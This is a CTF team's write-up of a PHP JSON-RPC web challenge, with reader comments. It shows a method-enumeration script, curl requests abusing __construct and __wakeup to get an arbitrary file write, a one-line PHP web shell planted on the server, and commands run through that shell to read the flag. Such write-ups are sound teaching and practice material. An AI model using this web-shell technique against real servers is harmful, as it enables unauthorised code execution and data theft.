Let's get started with the "RPC" challenge, poked with and solved by quite a few people on our team: jagger, mak, keidii, Mawekl and vnd, and available during the CTF with the following description:
Wallarm experts[0] do it in 3 minutes. How long will it take you[1]?Once we clicked on the second link, the task website welcomed us with the following error:
Flag format: CTF{..32 hexes..}
[0]http://wallarm.com/
[1]http://109.233.61.11:8880/
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27After some brief googling around for the notice message, we found out what rpc-json was and how it roughly worked. An example of a JSON stream as expected by the protocol looks like the snippet below:
{"jsonrpc": "2.0", "method": "mymethod", "params":{"a1":"va1","a2":"val2"}}which basically boils down to firing up $obj->$mymethod($val1, $val2). The obvious way to approach this is to find some useful methods we could use in further exploitation - the first one we were able to locate was test with an id parameter:
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"foo","params":{}}' ; echoWe played with the id argument for a bit, unfortunately with no luck - it always returned 42, as this is the answer to everything, right? :) This required us to perform some more educated guessing with regards to the method names:
invalid method. Try test
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"test","params":{"a":"x"}}' ; echo
invalid method params! Valid is:
id
42
import requestsOnce we knew about two more interesting methods (standard ones used by PHP for object serialization), we could determine their parameter names:
import json
def call_method(m,p):
if type(m) == type(p) and type(m) == list:
d= []
for m,p in zip(m,p):
d.append({'jsonrpc':'2.0',"params":p,"method":m})
else:
d = {'jsonrpc':'2.0',"params":p,"method":m}
print json.dumps(d)
r = requests.post('http://109.233.61.11:8880/index.php',data={'rpc_json_call':json.dumps(d)})
return r.text
def check_method(m):
return call_method(m,{})[:7] != 'invalid'
methods = [
'test',
'construct','wakeup','sleep',
'toString','to_string','invoke','set_state',
'construct','destruct', 'call', 'callStatic', 'get', 'set',
'isset', 'unset', 'toString', 'invoke', 'set_state','clone'
]
for m in methods:
if check_method(m):
print m
if check_method('_'+m):
print '_' + m
if check_method('__'+m):
print '__' + m
$ python2 /tmp/r.py
test
__construct
__wakeup
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call={"jsonrpc":"2.0","method":"__construct","params":{"a":"x"}}' ; echoThis sounded like we could set some state (curious!), turn on debugging and log something somewhere. With the filesystem path from the original error message, we tried to write to a test file:
invalid method params! Valid is:
log_dir
debug
state
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/testing", "debug":true, "state":"pwnd"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echoHurray, it worked! Having an arbitrary file write primitive, we could easily get ourselves a remote shell:
...logged
$ curl http://109.233.61.11:8880/testing
1391980389 O:3:"rpc":1:{s:5:"state";s:4:"pwnd";}
$ curl http://109.233.61.11:8880/index.php -d 'rpc_json_call=[{"jsonrpc":"2.0","method":"__construct","params": {"log_dir": "/var/www/t.php", "debug":true, "state":"<? system($_GET['x']);?>"}}, {"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]' ; echoEven having compromised the server, we still had to spend a few minutes snooping around the file system, eventually finding the desired flag in the root directory:
...logged
$ curl http://109.233.61.11:8880/t.php?x=id
1391980463 O:3:"rpc":1:{s:5:"state";s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl 'http://109.233.61.11:8880/t.php?x=cat%20/FLAG'+400 points well earned, and we could happily proceed to the next task. :)
1391980463 O:3:"rpc":1:{s:5:"state";s:22:"CTF{b15ffee30a117f418d1cede6faa57778}
";}
Thanks for your detailed write-up.
ReplyDeleteHow did you guess this set of methods: {'test', 'construct','wakeup','sleep', 'toString','to_string','invoke','set_state', 'construct','destruct', 'call', 'callStatic', 'get', 'set', 'isset', 'unset', 'toString', 'invoke', 'set_state','clone'}
How did you know that maybe there are one or two underline at the beginning?!
@Ahmad
ReplyDeleteI've asked mak about it and he said that some of them are magic methods (see http://www.php.net/manual/en/language.oop5.magic.php) and others were just educated guesses.